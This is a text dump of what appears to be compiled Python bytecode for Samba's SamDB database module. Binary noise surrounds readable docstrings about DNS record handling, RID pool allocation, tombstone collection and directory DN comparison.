)Nr� r� r r� rk r r r �get_pwdProperties� r� zSamDB.get_pwdPropertiesc C sb t �� }t �| d| �� �� �|_|d ur t �|t jd�|d< n t �g t jd�|d< | � |� d S )N�1CN=Directory Service,CN=Windows NT,CN=Services,%s� dSHeuristics) rQ r� r� �get_config_basednr� rU r� r� r� r� )r' � dsheuristicsr� r r r �set_dsheuristics s ��� ��zSamDB.set_dsheuristicsc C s\ | j d| �� �� tjdgd�}t|�dkrd }|S d|d v r*|d d d }|S d }|S )Nr� r� r� r )rP r� r� rQ rj rS )r' rZ r� r r r �get_dsheuristics s �� ��zSamDB.get_dsheuristicsc C s@ |dd�}|r ||d< |r||d< |rt |�|d< | �|� dS )a Creates an organizationalUnit object :param ou_dn: dn of the new object :param description: description attribute :param name: name atttribute :param sd: security descriptor of the object, can be an SDDL string or security.descriptor type �organizationalUnitr rl r� rr N)r ru )r' �ou_dnrl r� r{ r� r r r � create_ou s � zSamDB.create_ouc s: | � � z tt| ��|�}W n | �� � | �� |S )z�Returns the value of the sequence number according to the requested type :param seq_type: type of sequence number )r� r# r r� r� r� )r' �seq_typer� r+ r r r� 0 s zSamDB.sequence_numberc C rf )z get the NTDS DN from the rootDSEr� � dsServiceNamerh r ri rk r r r �get_dsServiceName> ru zSamDB.get_dsServiceNamec C rf )z"get the server DN from the rootDSEr� � serverNamerh r ri rk r r r �get_serverNameC ru zSamDB.get_serverNamec C s$ |du r t �| |�S t j| ||d�S )zDDo a DNS lookup in the database, returns the NDR database structuresN)� dns_partition)r �lookup)r' r} r� r r r � dns_lookupH s �zSamDB.dns_lookupc C rK )z;Return the NDR database structures from a dnsRecord element)r �extract)r' r� r r r � dns_extractP r< zSamDB.dns_extractc C rQ )zfDo a DNS modification on the database, sets the NDR database structures on a DNS name )r r� )r' r} � new_recordsr r r � dns_replaceT s zSamDB.dns_replacec C rQ )z�Do a DNS modification on the database, sets the NDR database structures on a LDB DN This routine is important because if the last record on the DN is removed, this routine will put a tombstone in the record. )r � replace_by_dn)r' rU r� r r r �dns_replace_by_dnZ s zSamDB.dns_replace_by_dnc C s4 t � std��|du rt�| ||�S t�| |||�S )z�garbage_collect_tombstones(lp, samdb, [dn], current_time, tombstone_lifetime) -> (num_objects_expunged, num_links_expunged)z6Cannot garbage collect tombstones: AD DC was not builtN)r r r � _dsdb_garbage_collect_tombstones)r' rU � current_time�tombstone_lifetimer r r �garbage_collect_tombstonesc s ��z SamDB.garbage_collect_tombstonesc C r2 )z create a RID set for this DSA)r �_dsdb_create_own_rid_setr4 r r r �create_own_rid_sett r5 zSamDB.create_own_rid_setc C r2 )z.return a new RID from the RID Pool on this DSA)r �_dsdb_allocate_ridr4 r r r � allocate_ridx r5 zSamDB.allocate_ridc C s | � � \}}|S )aE return the next free RID from the RID Pool on this DSA. :note: This function is not intended for general use, and care must be taken if it is used to generate objectSIDs. The returned RID is not formally reserved for use, creating the possibility of duplicate objectSIDs. )�free_rid_bounds)r' �rid�_r r r � next_free_rid| s zSamDB.next_free_ridc C s6 t �| | �� �}| j|t jdgd�}z|d d }W n ty+ t �t jd| �d�w t �| |d �d��}| j|t jdgd�}z|d d }W n tyZ t �t jd| �d�w t �| |d �d��}| j|t jg d �d�}d }d }z t |d d d �} W n ty� |} Y nw | |kr�t �t j d | ��z t |d d d �} W n ty� |} Y nw z t |d d d �} W n ty� |} Y nw | |ks�| |kr�| } | |@ } n| d7 } | |@ } | d? } | | k�r| | kr�t �t j d��| } | |@ } | d? } | } | | k �s | | k�rt �t j d| | | f ��| | fS )a� return the low and high bounds (inclusive) of RIDs that are available for use in this DSA's current RID pool. :note: This function is not intended for general use, and care must be taken if it is used to generate objectSIDs. The returned range of RIDs is not formally reserved for use, creating the possibility of duplicate objectSIDs. �serverReferencerh r zUNo RID Set DN - Cannot find attribute serverReference of %s to calculate reference dnNr, �rIDSetReferenceszVNo RID Set DN - Cannot find attribute rIDSetReferences of %s to calculate reference dn)�rIDAllocationPool�rIDPreviousAllocationPool� rIDNextRIDl �� l ���� r zBad RID Set %sr r rO � zRID pools out of RIDsz"Bad RID chosen %d from range %d-%d) rQ r� r� rP rj �KeyError�LdbError�ERR_NO_SUCH_ATTRIBUTEr0 rV �ERR_OPERATIONS_ERROR)r' �server_name_dnrZ � server_ref� server_ref_dn� rid_set_refs� rid_set_dn� uint32_max� uint64_max� alloc_pool� prev_pool�next_rid� prev_pool_lo� prev_pool_hir r r r� � s� � ����� ����� �� � � ���zSamDB.free_rid_boundsc C sH t �| | �� �}t|t j�rt|�}t �| |�}|�|�s"|�|� |S )z�return a new DN expanded by adding the domain DN If the dn is already a child of the domain DN, just return it as-is. :param dn: relative dn )rQ r� r; r/ r9 � is_child_of�add_base)r' rU r; �full_dnr r r r� � s z SamDB.normalize_dn_in_domain)Nr N)NTF)NNNNNNNN) FFNNNNNNNNNNNNNNNNNTNNNNNNNF)NNNNNNNNNNNNNNN)NNFNN)FN)F)T)NNNr� )^r r r �__doc__r� r� rQ �FLG_DONT_CREATE_DBr$ r1 r* r7 r; r> rF rH rC rc rd r� r� r� r� r� r� r r r) r+ r� r= rA rD �property� domain_sidrH rJ rG rO rU rX rZ r\ r^ r` rc re rl ro rq rs rt r r� r� r� r� r� r� r� r� r� r� r� r� r� rz r� rs r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r r� r� � __classcell__r r r+ r r 4 s � �- �46 �Z � � , �f �= � ,+�� � �7 � ^r c @ sj e Zd ZdZddd�Zdd� Zdd� Zd d � Zd d � Zd d� Z dd� Z dd� Z dd� Z dd� Z dd� ZdS )�dsdb_Dnza class for binary DNNc C s� |du r|� d�r tj}n |� d�rtj}ntj}|tjtjfv r]|�d�}t|�dk r2td| ��dt|d � t|d � }|d|� | _ | j d t|d � d � | _ ||d� | _ n || _ d | _ d | _ t � || j �| _dS ) zcreate a dsdb_DnNzB:zS:�:� z Invalid DN %srO r � r� r� )� startswithr �DSDB_SYNTAX_BINARY_DN�DSDB_SYNTAX_STRING_DN�DSDB_SYNTAX_OR_NAMErw rS � RuntimeErrorrV �prefix�binary�dnstringrQ r� rU )r' �samdbr* � syntax_oid�colons� prefix_lenr r r r$ � s$ zdsdb_Dn.__init__c C s | j t| jjdd�� S )NrO )�mode)r( r9 rU r� r4 r r r �__str__ s zdsdb_Dn.__str__c C sH | }|}|j �d�}|j �d�}t||�}|dkr|S t|j|j�}|S )z6 compare dsdb_Dn values similar to parsed_dn_compare()r� r )rU �get_extended_componentr r) )r' �other�dn1�dn2�guid1�guid2�vr r r �__cmp__ s zdsdb_Dn.__cmp__c C s | � |�dkS �Nr �r8 �r' r2 r r r �__eq__$ r� zdsdb_Dn.__eq__c C s | � |�dkS r9 r: r; r r r �__ne__' r� zdsdb_Dn.__ne__c C s | � |�dk S r9 r: r; r r r �__lt__* r� zdsdb_Dn.__lt__c C s | � |�dkS r9 r: r; r r r �__le__- r� zdsdb_Dn.__le__c C s | � |�dkS r9 r: r; r r r �__gt__0 r� zdsdb_Dn.__gt__c C s | � |�dkS r9 r: r; r r r �__ge__3 r� zdsdb_Dn.__ge__c C s | j dkrdS t| jd�S )z6return binary part of a dsdb_Dn as an integer, or Noner� N� )r( rV r) r4 r r r �get_binary_integer6 s zdsdb_Dn.get_binary_integerc C s t �| j�S )z return binary as a byte string)�binascii� unhexlifyr) r4 r r r r < r< zdsdb_Dn.get_bytesr� )r r r r r$ r0 r8 r< r= r> r? r@ rA rC r r r r r r � s r ) r rA rQ r9 r2 r- r r r � samba.ndrr r � samba.dcerpcr r � samba.commonr r r r r rD � __docformat__r rT r r �Ldbr �objectr r r r r �<module> s@ N
Close
